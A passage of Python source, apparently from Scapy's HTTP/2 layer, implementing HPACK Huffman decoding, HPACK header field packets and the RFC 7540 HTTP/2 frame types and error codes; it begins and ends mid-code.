huffman_decode(cls, i, ibl): # type: (int, int) -> str """ huffman_decode decodes the bitstring provided as parameters. :param int i: the bitstring to decode :param int ibl: the bitlength of i :return: str: the string decoded from the bitstring :raises: AssertionError, InvalidEncodingException """ assert(i >= 0) assert(ibl >= 0) if isinstance(cls.static_huffman_tree, type(None)): cls.huffman_compute_decode_tree() assert(not isinstance(cls.static_huffman_tree, type(None))) s = [] j = 0 interrupted = False cur = cls.static_huffman_tree cur_sym = 0 cur_sym_bl = 0 while j < ibl: b = (i >> (ibl - j - 1)) & 1 cur_sym = (cur_sym << 1) + b cur_sym_bl += 1 elmt = cur[b] if isinstance(elmt, HuffmanNode): interrupted = True cur = elmt if isinstance(cur, type(None)): raise AssertionError() elif isinstance(elmt, EOS): raise InvalidEncodingException('Huffman decoder met the full EOS symbol') # noqa: E501 elif isinstance(elmt, bytes): interrupted = False s.append(elmt) cur = cls.static_huffman_tree cur_sym = 0 cur_sym_bl = 0 else: raise InvalidEncodingException('Should never happen, so incidentally it will') # noqa: E501 j += 1 if interrupted: # Interrupted values true if the bitstring ends in the middle of a # symbol; this symbol must be, according to RFC7541 par5.2 the MSB # of the EOS symbol if cur_sym_bl > 7: raise InvalidEncodingException('Huffman decoder is detecting padding longer than 7 bits') # noqa: E501 eos_symbol = cls.static_huffman_code[-1] eos_msb = eos_symbol[0] >> (eos_symbol[1] - cur_sym_bl) if eos_msb != cur_sym: raise InvalidEncodingException('Huffman decoder is detecting unexpected padding format') # noqa: E501 return b''.join(s) @classmethod def huffman_conv2str(cls, bit_str, bit_len): # type: (int, int) -> str """ huffman_conv2str converts a bitstring of bit_len bitlength into a binary string. It DOES NOT compress/decompress the bitstring! :param int bit_str: the bitstring to convert. :param int bit_len: the bitlength of bit_str. :return: str: the converted bitstring as a bytestring. :raises: AssertionError """ assert(bit_str >= 0) assert(bit_len >= 0) byte_len = bit_len // 8 rem_bit = bit_len % 8 if rem_bit != 0: bit_str <<= 8 - rem_bit byte_len += 1 # As usual the list/join tricks is a performance trick to build # efficiently a Python string s = [] # type: List[str] i = 0 while i < byte_len: s.insert(0, chb((bit_str >> (i * 8)) & 0xFF)) i += 1 return b''.join(s) @classmethod def huffman_conv2bitstring(cls, s): # type: (str) -> Tuple[int, int] """ huffman_conv2bitstring converts a string into its bitstring representation. It returns a tuple: the bitstring and its bitlength. This function DOES NOT compress/decompress the string! :param str s: the bytestring to convert. :return: (int, int): the bitstring of s, and its bitlength. :raises: AssertionError """ i = 0 ibl = len(s) * 8 for c in s: i = (i << 8) + orb(c) ret = i, ibl assert(ret[0] >= 0) assert(ret[1] >= 0) return ret @classmethod def huffman_compute_decode_tree(cls): # type: () -> None """ huffman_compute_decode_tree initializes/builds the static_huffman_tree :return: None :raises: InvalidEncodingException if there is an encoding problem """ cls.static_huffman_tree = HuffmanNode(None, None) i = 0 for entry in cls.static_huffman_code: parent = cls.static_huffman_tree for idx in range(entry[1] - 1, -1, -1): b = (entry[0] >> idx) & 1 if isinstance(parent[b], bytes): raise InvalidEncodingException('Huffman unique prefix violation :/') # noqa: E501 if idx == 0: parent[b] = chb(i) if i < 256 else EOS() elif parent[b] is None: parent[b] = HuffmanNode(None, None) parent = parent[b] i += 1 def __init__(self, s): # type: (str) -> None self._s = s i, ibl = type(self).huffman_encode(s) self._encoded = type(self).huffman_conv2str(i, ibl) def __str__(self): # type: () -> str return self._encoded def origin(self): # type: () -> str return plain_str(self._s) def __len__(self): # type: () -> int return len(self._encoded) class HPackStrLenField(fields.Field): """ HPackStrLenField is a StrLenField variant specialized for HTTP/2 HPack This variant uses an internal representation that implements HPackStringsInterface. # noqa: E501 """ __slots__ = ['_length_from', '_type_from'] def __init__(self, name, default, length_from, type_from): # type: (str, HPackStringsInterface, Callable[[packet.Packet], int], str) -> None # noqa: E501 super(HPackStrLenField, self).__init__(name, default) self._length_from = length_from self._type_from = type_from def addfield(self, pkt, s, val): # type: (Optional[packet.Packet], str, HPackStringsInterface) -> str return s + self.i2m(pkt, val) @staticmethod def _parse(t, s): # type: (bool, str) -> HPackStringsInterface """ :param bool t: whether this string is a huffman compressed string. :param str s: the string to parse. :return: HPackStringsInterface: either a HPackLiteralString or HPackZString, depending on t. # noqa: E501 :raises: InvalidEncodingException """ if t: i, ibl = HPackZString.huffman_conv2bitstring(s) return HPackZString(HPackZString.huffman_decode(i, ibl)) return HPackLiteralString(s) def getfield(self, pkt, s): # type: (packet.Packet, str) -> Tuple[str, HPackStringsInterface] """ :param packet.Packet pkt: the packet instance containing this field instance. # noqa: E501 :param str s: the string to parse this field from. :return: (str, HPackStringsInterface): the remaining string after this field was carved out & the extracted # noqa: E501 value. :raises: KeyError if "type_from" is not a field of pkt or its payloads. :raises: InvalidEncodingException """ tmp_len = self._length_from(pkt) t = pkt.getfieldval(self._type_from) == 1 return s[tmp_len:], self._parse(t, s[:tmp_len]) def i2h(self, pkt, x): # type: (Optional[packet.Packet], HPackStringsInterface) -> str fmt = '' if isinstance(x, HPackLiteralString): fmt = "HPackLiteralString({})" elif isinstance(x, HPackZString): fmt = "HPackZString({})" return fmt.format(x.origin()) def h2i(self, pkt, x): # type: (packet.Packet, str) -> HPackStringsInterface return HPackLiteralString(x) def m2i(self, pkt, x): # type: (packet.Packet, str) -> HPackStringsInterface """ :param packet.Packet pkt: the packet instance containing this field instance. # noqa: E501 :param str x: the string to parse. :return: HPackStringsInterface: the internal type of the value parsed from x. # noqa: E501 :raises: AssertionError :raises: InvalidEncodingException :raises: KeyError if _type_from is not one of pkt fields. """ t = pkt.getfieldval(self._type_from) tmp_len = self._length_from(pkt) assert t is not None and tmp_len is not None, 'Conversion from string impossible: no type or length specified' # noqa: E501 return self._parse(t == 1, x[:tmp_len]) def any2i(self, pkt, x): # type: (Optional[packet.Packet], Union[str, HPackStringsInterface]) -> HPackStringsInterface # noqa: E501 """ :param packet.Packet|None pkt: the packet instance containing this field instance. # noqa: E501 :param str|HPackStringsInterface x: the value to convert :return: HPackStringsInterface: the Scapy internal value for this field :raises: AssertionError, InvalidEncodingException """ if isinstance(x, bytes): assert(isinstance(pkt, packet.Packet)) return self.m2i(pkt, x) assert(isinstance(x, HPackStringsInterface)) return x def i2m(self, pkt, x): # type: (Optional[packet.Packet], HPackStringsInterface) -> str return raw(x) def i2len(self, pkt, x): # type: (Optional[packet.Packet], HPackStringsInterface) -> int return len(x) def i2repr(self, pkt, x): # type: (Optional[packet.Packet], HPackStringsInterface) -> str return repr(self.i2h(pkt, x)) ############################################################################### # HPACK Packets # ############################################################################### class HPackHdrString(packet.Packet): """ HPackHdrString is a packet that that is serialized into a RFC7541 par5.2 string literal repr. """ name = 'HPack Header String' fields_desc = [ fields.BitEnumField('type', None, 1, {0: 'Literal', 1: 'Compressed'}), FieldUVarLenField('len', None, 7, length_of='data'), HPackStrLenField( 'data', HPackLiteralString(''), length_from=lambda pkt: pkt.getfieldval('len'), type_from='type' ) ] def guess_payload_class(self, payload): # type: (str) -> Packet_metaclass # Trick to tell scapy that the remaining bytes of the currently # dissected string is not a payload of this packet but of some other # underlayer packet return config.conf.padding_layer def self_build(self, field_pos_list=None): # type: (Any) -> str """self_build is overridden because type and len are determined at build time, based on the "data" field internal type """ if self.getfieldval('type') is None: self.type = 1 if isinstance(self.getfieldval('data'), HPackZString) else 0 # noqa: E501 return super(HPackHdrString, self).self_build(field_pos_list) class HPackHeaders(packet.Packet): """HPackHeaders uses the "dispatch_hook" trick of Packet_metaclass to select the correct HPack header packet type. For this, the first byte of the string # noqa: E501 to dissect is snooped on. """ @classmethod def dispatch_hook(cls, s=None, *_args, **_kwds): # type: (Optional[str], *Any, **Any) -> Packet_metaclass """dispatch_hook returns the subclass of HPackHeaders that must be used to dissect the string. """ if s is None: return config.conf.raw_layer fb = orb(s[0]) if fb & 0x80 != 0: return HPackIndexedHdr if fb & 0x40 != 0: return HPackLitHdrFldWithIncrIndexing if fb & 0x20 != 0: return HPackDynamicSizeUpdate return HPackLitHdrFldWithoutIndexing def guess_payload_class(self, payload): # type: (str) -> Packet_metaclass return config.conf.padding_layer class HPackIndexedHdr(HPackHeaders): """ HPackIndexedHdr implements RFC 7541 par6.1 """ name = 'HPack Indexed Header Field' fields_desc = [ HPackMagicBitField('magic', 1, 1), UVarIntField('index', 2, 7) # Default "2" is ":method GET" ] class HPackLitHdrFldWithIncrIndexing(HPackHeaders): """ HPackLitHdrFldWithIncrIndexing implements RFC 7541 par6.2.1 """ name = 'HPack Literal Header With Incremental Indexing' fields_desc = [ HPackMagicBitField('magic', 1, 2), UVarIntField('index', 0, 6), # Default is New Name fields.ConditionalField( fields.PacketField('hdr_name', None, HPackHdrString), lambda pkt: pkt.getfieldval('index') == 0 ), fields.PacketField('hdr_value', None, HPackHdrString) ] class HPackLitHdrFldWithoutIndexing(HPackHeaders): """ HPackLitHdrFldWithIncrIndexing implements RFC 7541 par6.2.2 and par6.2.3 """ name = 'HPack Literal Header Without Indexing (or Never Indexing)' fields_desc = [ HPackMagicBitField('magic', 0, 3), fields.BitEnumField( 'never_index', 0, 1, {0: "Don't Index", 1: 'Never Index'} ), UVarIntField('index', 0, 4), # Default is New Name fields.ConditionalField( fields.PacketField('hdr_name', None, HPackHdrString), lambda pkt: pkt.getfieldval('index') == 0 ), fields.PacketField('hdr_value', None, HPackHdrString) ] class HPackDynamicSizeUpdate(HPackHeaders): """ HPackDynamicSizeUpdate implements RFC 7541 par6.3 """ name = 'HPack Dynamic Size Update' fields_desc = [ HPackMagicBitField('magic', 1, 3), UVarIntField('max_size', 0, 5) ] ############################################################################### # HTTP/2 Frames # ############################################################################### class H2FramePayload(packet.Packet): """ H2FramePayload is an empty class that is a super class of all Scapy HTTP/2 Frame Packets """ # HTTP/2 Data Frame Packets # # noqa: E501 class H2DataFrame(H2FramePayload): """ H2DataFrame implements RFC7540 par6.1 This packet is the Data Frame to use when there is no padding. """ type_id = 0 END_STREAM_FLAG = 0 # 0x1 PADDED_FLAG = 3 # 0x8 flags = { END_STREAM_FLAG: fields.MultiFlagsEntry('ES', 'End Stream'), PADDED_FLAG: fields.MultiFlagsEntry('P', 'Padded') } name = 'HTTP/2 Data Frame' fields_desc = [ fields.StrField('data', '') ] class H2PaddedDataFrame(H2DataFrame): """ H2DataFrame implements RFC7540 par6.1 This packet is the Data Frame to use when there is padding. """ __slots__ = ['s_len'] name = 'HTTP/2 Padded Data Frame' fields_desc = [ fields.FieldLenField('padlen', None, length_of='padding', fmt="B"), fields.StrLenField('data', '', length_from=lambda pkt: pkt.get_data_len() ), fields.StrLenField('padding', '', length_from=lambda pkt: pkt.getfieldval('padlen') ) ] def get_data_len(self): # type: () -> int """ get_data_len computes the length of the data field To do this computation, the length of the padlen field and the actual padding is subtracted to the string that was provided to the pre_dissect # noqa: E501 fun of the pkt parameter :return: int; length of the data part of the HTTP/2 frame packet provided as parameter # noqa: E501 :raises: AssertionError """ padding_len = self.getfieldval('padlen') fld, fval = self.getfield_and_val('padlen') padding_len_len = fld.i2len(self, fval) ret = self.s_len - padding_len_len - padding_len assert(ret >= 0) return ret def pre_dissect(self, s): # type: (str) -> str """pre_dissect is filling the s_len property of this instance. This property is later used during the getfield call of the "data" field when # noqa: E501 trying to evaluate the length of the StrLenField! This "trick" works because the underlayer packet (H2Frame) is assumed to override the "extract_padding" method and to only provide to this packet the data necessary for this packet. Tricky, tricky, will break some day probably! # noqa: E501 """ self.s_len = len(s) return s # HTTP/2 Header Frame Packets # # noqa: E501 class H2AbstractHeadersFrame(H2FramePayload): """Superclass of all variants of HTTP/2 Header Frame Packets. May be used for type checking. """ class H2HeadersFrame(H2AbstractHeadersFrame): """ H2HeadersFrame implements RFC 7540 par6.2 Headers Frame when there is no padding and no priority information The choice of decomposing into four classes is probably preferable to having # noqa: E501 numerous conditional fields based on the underlayer :/ """ type_id = 1 END_STREAM_FLAG = 0 # 0x1 END_HEADERS_FLAG = 2 # 0x4 PADDED_FLAG = 3 # 0x8 PRIORITY_FLAG = 5 # 0x20 flags = { END_STREAM_FLAG: fields.MultiFlagsEntry('ES', 'End Stream'), END_HEADERS_FLAG: fields.MultiFlagsEntry('EH', 'End Headers'), PADDED_FLAG: fields.MultiFlagsEntry('P', 'Padded'), PRIORITY_FLAG: fields.MultiFlagsEntry('+', 'Priority') } name = 'HTTP/2 Headers Frame' fields_desc = [ fields.PacketListField('hdrs', [], HPackHeaders) ] class H2PaddedHeadersFrame(H2AbstractHeadersFrame): """ H2PaddedHeadersFrame is the variant of H2HeadersFrame where padding flag is set and priority flag is cleared """ __slots__ = ['s_len'] name = 'HTTP/2 Headers Frame with Padding' fields_desc = [ fields.FieldLenField('padlen', None, length_of='padding', fmt='B'), fields.PacketListField('hdrs', [], HPackHeaders, length_from=lambda pkt: pkt.get_hdrs_len() ), fields.StrLenField('padding', '', length_from=lambda pkt: pkt.getfieldval('padlen') ) ] def get_hdrs_len(self): # type: () -> int """ get_hdrs_len computes the length of the hdrs field To do this computation, the length of the padlen field and the actual padding is subtracted to the string that was provided to the pre_dissect # noqa: E501 fun of the pkt parameter. :return: int; length of the data part of the HTTP/2 frame packet provided as parameter # noqa: E501 :raises: AssertionError """ padding_len = self.getfieldval('padlen') fld, fval = self.getfield_and_val('padlen') padding_len_len = fld.i2len(self, fval) ret = self.s_len - padding_len_len - padding_len assert(ret >= 0) return ret def pre_dissect(self, s): # type: (str) -> str """pre_dissect is filling the s_len property of this instance. This property is later used during the parsing of the hdrs PacketListField when trying to evaluate the length of the PacketListField! This "trick" works because the underlayer packet (H2Frame) is assumed to override the # noqa: E501 "extract_padding" method and to only provide to this packet the data necessary for this packet. Tricky, tricky, will break some day probably! # noqa: E501 """ self.s_len = len(s) return s class H2PriorityHeadersFrame(H2AbstractHeadersFrame): """ H2PriorityHeadersFrame is the variant of H2HeadersFrame where priority flag is set and padding flag is cleared """ __slots__ = ['s_len'] name = 'HTTP/2 Headers Frame with Priority' fields_desc = [ fields.BitField('exclusive', 0, 1), fields.BitField('stream_dependency', 0, 31), fields.ByteField('weight', 0), # This PacketListField will consume all remaining bytes; not a problem # because the underlayer (H2Frame) overrides "extract_padding" so that # this Packet only get to parser what it needs to fields.PacketListField('hdrs', [], HPackHeaders), ] class H2PaddedPriorityHeadersFrame(H2AbstractHeadersFrame): """ H2PaddedPriorityHeadersFrame is the variant of H2HeadersFrame where both priority and padding flags are set """ __slots__ = ['s_len'] name = 'HTTP/2 Headers Frame with Padding and Priority' fields_desc = [ fields.FieldLenField('padlen', None, length_of='padding', fmt='B'), fields.BitField('exclusive', 0, 1), fields.BitField('stream_dependency', 0, 31), fields.ByteField('weight', 0), fields.PacketListField('hdrs', [], HPackHeaders, length_from=lambda pkt: pkt.get_hdrs_len() ), fields.StrLenField('padding', '', length_from=lambda pkt: pkt.getfieldval('padlen') ) ] def get_hdrs_len(self): # type: () -> int """ get_hdrs_len computes the length of the hdrs field To do this computation, the length of the padlen field, the priority information fields and the actual padding is subtracted to the string that was provided to the pre_dissect fun of the pkt parameter. :return: int: the length of the hdrs field :raises: AssertionError """ padding_len = self.getfieldval('padlen') fld, fval = self.getfield_and_val('padlen') padding_len_len = fld.i2len(self, fval) bit_cnt = self.get_field('exclusive').size bit_cnt += self.get_field('stream_dependency').size fld, fval = self.getfield_and_val('weight') weight_len = fld.i2len(self, fval) ret = int(self.s_len - padding_len_len - padding_len - (bit_cnt / 8) - weight_len ) assert(ret >= 0) return ret def pre_dissect(self, s): # type: (str) -> str """pre_dissect is filling the s_len property of this instance. This property is later used during the parsing of the hdrs PacketListField when trying to evaluate the length of the PacketListField! This "trick" works because the underlayer packet (H2Frame) is assumed to override the # noqa: E501 "extract_padding" method and to only provide to this packet the data necessary for this packet. Tricky, tricky, will break some day probably! # noqa: E501 """ self.s_len = len(s) return s # HTTP/2 Priority Frame Packets # # noqa: E501 class H2PriorityFrame(H2FramePayload): """ H2PriorityFrame implements RFC 7540 par6.3 """ type_id = 2 name = 'HTTP/2 Priority Frame' fields_desc = [ fields.BitField('exclusive', 0, 1), fields.BitField('stream_dependency', 0, 31), fields.ByteField('weight', 0) ] # HTTP/2 Errors # # noqa: E501 class H2ErrorCodes(object): """ H2ErrorCodes is an enumeration of the error codes defined in RFC7540 par7. This enumeration is not part of any frame because the error codes are in common with H2ResetFrame and H2GoAwayFrame. """ NO_ERROR = 0x0 PROTOCOL_ERROR = 0x1 INTERNAL_ERROR = 0x2 FLOW_CONTROL_ERROR = 0x3 SETTINGS_TIMEOUT = 0x4 STREAM_CLOSED = 0x5 FRAME_SIZE_ERROR = 0x6 REFUSED_STREAM = 0x7 CANCEL = 0x8 COMPRESSION_ERROR = 0x9 CONNECT_ERROR = 0xa ENHANCE_YOUR_CALM = 0xb INADEQUATE_SECURITY = 0xc HTTP_1_1_REQUIRED = 0xd literal = { NO_ERROR: 'No error', PROTOCOL_ERROR: 'Protocol error', INTERNAL_ERROR: 'Internal error', FLOW_CONTROL_ERROR: 'Flow control error', SETTINGS_TIMEOUT: 'Settings timeout', STREAM_CLOSED: 'Stream closed', FRAME_SIZE_ERROR: 'Frame size error', REFUSED_STREAM: 'Refused stream', CANCEL: 'Cancel', COMPRESSION_ERROR: 'Compression error', CONNECT_ERROR: 'Control error', ENHANCE_YOUR_CALM: 'Enhance your calm', INADEQUATE_SECURITY: 'Inadequate security', HTTP_1_1_REQUIRED: 'HTTP/1.1 required' } # HTTP/2 Reset Frame Packets # # noqa: E501 class H2ResetFrame(H2FramePayload): """ H2ResetFrame implements RFC 7540 par6.4 """ type_id = 3 name = 'HTTP/2 Reset Frame' fields_desc = [ fields.EnumField('error', 0, H2ErrorCodes.literal, fmt='!I') ] # HTTP/2 Settings Frame Packets # # noqa: E501 class H2Setting(packet.Packet): """ H2Setting implements a setting, as defined in RFC7540 par6.5.1 """ SETTINGS_HEADER_TABLE_SIZE = 0x1 SETTINGS_ENABLE_PUSH = 0x2 SETTINGS_MAX_CONCURRENT_STREAMS = 0x3 SETTINGS_INITIAL_WINDOW_SIZE = 0x4 SETTINGS_MAX_FRAME_SIZE = 0x5 SETTINGS_MAX_HEADER_LIST_SIZE = 0x6 name = 'HTTP/2 Setting' fields_desc = [ fields.EnumField('id', 0, { SETTINGS_HEADER_TABLE_SIZE: 'Header table size', SETTINGS_ENABLE_PUSH: 'Enable push', SETTINGS_MAX_CONCURRENT_STREAMS: 'Max concurrent streams', SETTINGS_INITIAL_WINDOW_SIZE: 'Initial window size', SETTINGS_MAX_FRAME_SIZE: 'Max frame size', SETTINGS_MAX_HEADER_LIST_SIZE: 'Max header list size' }, fmt='!H'), fields.IntField('value', 0) ] def guess_payload_class(self, payload): # type: (str) -> Packet_metaclass return config.conf.padding_layer class H2SettingsFrame(H2FramePayload): """ H2SettingsFrame implements RFC7540 par6.5 """ type_id = 4 ACK_FLAG = 0 # 0x1 flags = { ACK_FLAG: fields.MultiFlagsEntry('A', 'ACK') } name = 'HTTP/2 Settings Frame' fields_desc = [ fields.PacketListField('settings', [], H2Setting) ] def __init__(self, *args, **kwargs): """__init__ initializes this H2SettingsFrame If a _pkt arg is provided (by keyword), then this is an initialization from a string to dissect and therefore the length of the string to dissect have distinctive characteristics that we might want to check. This is possible because the underlayer packet (H2Frame) overrides extract_padding method to provided only the string that must be parsed by this packet! :raises: AssertionError """ # RFC7540 par6.5 p36 assert( len(args) == 0 or ( isinstance(args[0], bytes) and len(args[0]) % 6 == 0 ) ), 'Invalid settings frame; length is not a multiple of 6' super(H2SettingsFrame, self).__init__(*args, **kwargs) # HTTP/2 Push Promise Frame Packets # # noqa: E501 class H2PushPromiseFrame(H2FramePayload): """ H2PushPromiseFrame implements RFC7540 par6.6. This packet is the variant to use when the underlayer padding flag is cleared """ type_id = 5 END_HEADERS_FLAG = 2 # 0x4 PADDED_FLAG = 3 # 0x8 flags = { END_HEADERS_FLAG: fields.MultiFlagsEntry('EH', 'End Headers'), PADDED_FLAG: fields.MultiFlagsEntry('P', 'Padded') } name = 'HTTP/2 Push Promise Frame' fields_desc = [ fields.BitField('reserved', 0, 1), fields.BitField('stream_id', 0, 31), fields.PacketListField('hdrs', [], HPackHeaders) ] class H2PaddedPushPromiseFrame(H2PushPromiseFrame): """ H2PaddedPushPromiseFrame implements RFC7540 par6.6. This packet is the variant to use when the underlayer padding flag is set """ __slots__ = ['s_len'] name = 'HTTP/2 Padded Push Promise Frame' fields_desc = [ fields.FieldLenField('padlen', None, length_of='padding', fmt='B'), fields.BitField('reserved', 0, 1), fields.BitField('stream_id', 0, 31), fields.PacketListField('hdrs', [], HPackHeaders, length_from=lambda pkt: pkt.get_hdrs_len() ), fields.StrLenField('padding', '', length_from=lambda pkt: pkt.getfieldval('padlen') ) ] def get_hdrs_len(self): # type: () -> int """ get_hdrs_len computes the length of the hdrs field To do this computation, the length of the padlen field, reserved, stream_id and the actual padding is subtracted to the string that was provided to the pre_dissect fun of the pkt parameter. :return: int: the length of the hdrs field :raises: AssertionError """ fld, padding_len = self.getfield_and_val('padlen') padding_len_len = fld.i2len(self, padding_len) bit_len = self.get_field('reserved').size bit_len += self.get_field('stream_id').size ret = int(self.s_len - padding_len_len - padding_len - (bit_len / 8) ) assert(ret >= 0) return ret def pre_dissect(self, s): # type: (str) -> str """pre_dissect is filling the s_len property of this instance. This property is later used during the parsing of the hdrs PacketListField when trying to evaluate the length of the PacketListField! This "trick" works because the underlayer packet (H2Frame) is assumed to override the # noqa: E501 "extract_padding" method and to only provide to this packet the data necessary for this packet. Tricky, tricky, will break some day probably! # noqa: E501 """ self.s_len = len(s) return s # HTTP/2 Ping Frame Packets # # noqa: E501 class H2PingFrame(H2FramePayload): """ H2PingFrame implements the RFC 7540 par6.7 """ type_id = 6 ACK_FLAG = 0 # 0x1 flags = { ACK_FLAG: fields.MultiFlagsEntry('A', 'ACK') } name = 'HTTP/2 Ping Frame' fields_desc = [ fields.LongField('opaque', 0) ] def __init__(self, *args, **kwargs): """ :raises: AssertionError """ # RFC7540 par6.7 p42 assert( len(args) == 0 or ( (isinstance(args[0], bytes) or isinstance(args[0], str)) and len(args[0]) == 8 ) ), 'Invalid ping frame; length is not 8' super(H2PingFrame, self).__init__(*args, **kwargs) # HTTP/2 GoAway Frame Packets # # noqa: E501 class H2GoAwayFrame(H2FramePayload): """ H2GoAwayFrame implements the RFC 7540 par6.8 """ type_id = 7 name = 'HTTP/2 Go Away Frame' fields_desc = [ fields.BitField('reserved', 0, 1), fields.BitField('last_stream_id', 0, 31), fields.EnumField('error', 0, H2ErrorCodes.literal, fmt='!I'), fields.StrField('additional_data', '') ] # HTTP/2 Window Update Frame Packets # # noqa: E501 class H2WindowUpdateFrame(H2FramePayload): """ H2WindowUpdateFrame implements the RFC 7540 par6.9 """ type_id = 8 name = 'HTTP/2 Window Update Frame' fields_desc = [ fields.BitField('reserved', 0, 1), fields.BitField('win_size_incr', 0, 31) ] def __init__(self, *args, **kwargs): """ :raises: AssertionError """ # RFC7540 par6.9 p46 assert( len(args) == 0 or ( (isinstance(args[0], bytes) or isinstance(args[0], str)) and len(args[0]) == 4 ) ), 'Invalid window update frame; length is not 4' super(H2WindowUpdateFrame, self).__init__(*args, **kwargs) # HTTP/2 Continuation Frame Packets # # noqa: E501 class H2ContinuationFrame(H2FramePayload): """ H2ContinuationFrame implements the RFC 7540 par6.10 """ type_id = 9 END_HEADERS_FLAG = 2 # Ox4 flags = { END_HEADERS_FLAG: fields.MultiFlagsEntry('EH', 'End Headers') } name = 'HTTP/2 Continuation Frame' fields_desc = [ fields.PacketListField('hdrs', [], HPackHeaders) ] # HTTP/2 Base Frame Packets # # noqa: E501 _HTTP2_types = { 0: 'DataFrm', 1: 'HdrsFrm', 2: 'PrioFrm', 3: 'RstFrm', 4: 'SetFrm', 5: 'PushFrm', 6: 'PingFrm', 7: 'GoawayFrm', 8: 'WinFrm', 9: 'ContFrm' } class H2Frame(packet.Packet): """ H2Frame implements the frame structure as defined in RFC 7540 par4.1 This packet may have a payload (one of the H2FramePayload) or none, in some rare cases such as settings acknowledgement) """ name = 'HTTP/2 Frame' fields_desc = [ fields.X3BytesField('len', None), fields.EnumField('type', None, _HTTP2_types, "b"), fields.MultiFlagsField('flags', set(), 8, { H2DataFrame.type_id: H2DataFrame.flags, H2HeadersFrame.type_id: H2HeadersFrame.flags, H2PushPromiseFrame.type_id: H2PushPromiseFrame.flags, H2SettingsFrame.type_id: H2SettingsFrame.flags, H2PingFrame.type_id: H2PingFrame.flags, H2ContinuationFrame.type_id: H2ContinuationFrame.flags, }, depends_on=lambda pkt: pkt.getfieldval('type') ), fields.BitField('reserved', 0, 1), fields.BitField('stream_id', 0, 31) ] def guess_payload_class(self, payload): # type: (str) -> Packet_metaclass """ guess_payload_class returns the Class object to use for parsing a payload This function uses the H2Frame.type field value to decide which payload to parse. The implement cannot be # noqa: E501 performed using the simple bind_layers helper because sometimes the selection of which Class object to return # noqa: E501 also depends on the H2Frame.flags value. :param payload: :return:: """ if len(payload) == 0: return packet.NoPayload t = self.getfieldval('type') if t == H2DataFrame.type_id: if H2DataFrame.flags[H2DataFrame.PADDED_FLAG].short in self.getfieldval('flags'): # noqa: E501 return H2PaddedDataFrame return H2DataFrame if t == H2HeadersFrame.type_id: if H2HeadersFrame.flags[H2HeadersFrame.PADDED_FLAG].short in self.getfieldval('flags'): # noqa: E501 if H2HeadersFrame.flags[H2HeadersFrame.PRIORITY_FLAG].short in self.getfieldval('flags'): # noqa: E501 return H2PaddedPriorityHeadersFrame else: return H2PaddedHeadersFrame elif H2HeadersFrame.flags[H2HeadersFrame.PRIORITY_FLAG].short in self.getfieldval('flags'): # noqa: E501 return H2PriorityHeadersFrame return H2HeadersFrame if t == H2PriorityFrame.type_id: return H2PriorityFrame if t == H2ResetFrame.type_id: return H2ResetFrame if t == H2SettingsFrame.type_id: return H2SettingsFrame if t == H2PushPromiseFrame.type_id: if H2PushPromiseFrame.flags[H2PushPromiseFrame.PADDED_FLAG].short in self.getfieldval('flags'): # noqa: E501 return H2PaddedPushPromiseFrame return H2PushPromiseFrame if t == H2PingFrame.type_id: return H2PingFrame if t == H2GoAwayFrame.type_id: return H2GoAwayFrame if t == H2WindowUpdateFrame.type_id: return H2WindowUpdateFrame if t == H2ContinuationFrame.type_id: return H2ContinuationFrame return config.conf.padding_layer def extract_padding(self, s): # type: (str) -> Tuple[str, str] """ :param str s: the string from which to tell the padding and the payload data apart # noqa: E501 :return: (str, str): the padding and the payload data strings :raises: AssertionError """ assert isinstance(self.len, six.integer_types) and self.len >= 0, 'Invalid length: negative len?' # noqa: E501 assert len(s) >= self.len, 'Invalid length: string too short for this length' # noqa: E501 return s[:self.len], s[self.len:] def post_build(self, p, pay): # type: (str, str) -> str """ :param str p: the stringified packet :param str pay: the stringified payload :return: str: the stringified packet and payload, with the packet length field "patched" # noqa: E501 :raises: AssertionError """ # This logic, while awkward in the post_build and more reasonable in # a self_build is implemented here for performance tricks reason if self.getfieldval('len') is None: assert(len(pay) < (1 << 24)), 'Invalid length: payload is too long' p = struct.pack('!L', len(pay))[1:] + p[3:] return super(H2Frame, self).post_build(p, pay) class H2Seq(packet.Packet): """ H2Seq is a helper packet that contains several H2Frames and their payload. This packet can be used, for instance, while reading manually from a TCP socket. """ name = 'HTTP/2 Frame Sequence' fields_desc = [ fields.PacketListField('frames', [], H2Frame) ] def guess_payload_class(self, payload): # type: (str) -> Packet_metaclass return config.conf.padding_layer packet.bind_layers(H2Frame, H2DataFrame, {'type': H2DataFrame.type_id}) packet.bind_layers(H2Frame, H2PaddedDataFrame, {'type': H2DataFrame.type_id}) packet.bind_layers(H2Frame, H2HeadersFrame, {'type': H2HeadersFrame.type_id}) packet.bind_layers(H2Frame, H2PaddedHeadersFrame, {'type': H2HeadersFrame.type_id}) # noqa: E501 packet.bind_layers(H2Frame, H2PriorityHeadersFrame, {'type': H2HeadersFrame.type_id}) # noqa: E501 packet.bind_layers(H2Frame, H2PaddedPriorityHeadersFrame, {'type': H2HeadersFrame.type_id}) # noqa: E501 packet.bind_layers(H2Frame, H2PriorityFrame, {'type': H2PriorityFrame.type_id}) packet.bind_layers(H2Frame, H2ResetFrame, {'type': H2ResetFrame.type_id}) packet.bind_layers(H2Frame, H2SettingsFrame, {'type': H2SettingsFrame.type_id}) packet.bind_layers(H2Frame, H2PingFrame, {'type': H2PingFrame.type_id}) packet.bind_layers(H2Frame, H2PushPromiseFrame, {'type': H2PushPromiseFrame.type_id}) # noqa: E501 packet.bind_layers(H2Frame, H2PaddedPushPromiseFrame, {'type': H2PaddedPushPromiseFrame.type_id}) # noqa: E501 packet.bind_layers(H2Frame, H2GoAwayFrame, {'type': H2GoAwayFrame.type_id}) packet.bind_layers(H2Frame, H2WindowUpdateFrame, {'type': H2WindowUpdateFrame.type_id}) # noqa: E501 packet.bind_layers(H2Frame, H2ContinuationFrame, {'type': H2ContinuationFrame.type_id}) # noqa: E501 # HTTP/2 Connection Preface # # noqa: E501 # From RFC 7540 par3.5 H2_CLIENT_CONNECTION_PREFACE = hex_bytes('505249202a20485454502f322e300d0a0d0a534d0d0a0d0a') # noqa: E501 ############################################################################### # HTTP/2 Helpers # ############################################################################### class HPackHdrEntry(Sized): """ HPackHdrEntry is an entry of the HPackHdrTable helper Each HPackHdrEntry instance is a header line (name and value). Names are normalized (lowercase), according to RFC 7540 par8.1.2 """ __slots__ = ['_name', '_len', '_value'] def __init__(self, name, value): # type: (str, str) -> None """ :raises: AssertionError """ assert(len(name) > 0) self._name = name.lower() self._value = value # 32 bytes is an RFC-hardcoded value: see RFC 7541 par4.1 self._len = (32 + len(self._name) + len(self._value)) def name(self): # type: () -> str return self._name def value(self): # type: () -> str return self._value def size(self): # type: () -> int """ size returns the "length" of the header entry, as defined in RFC 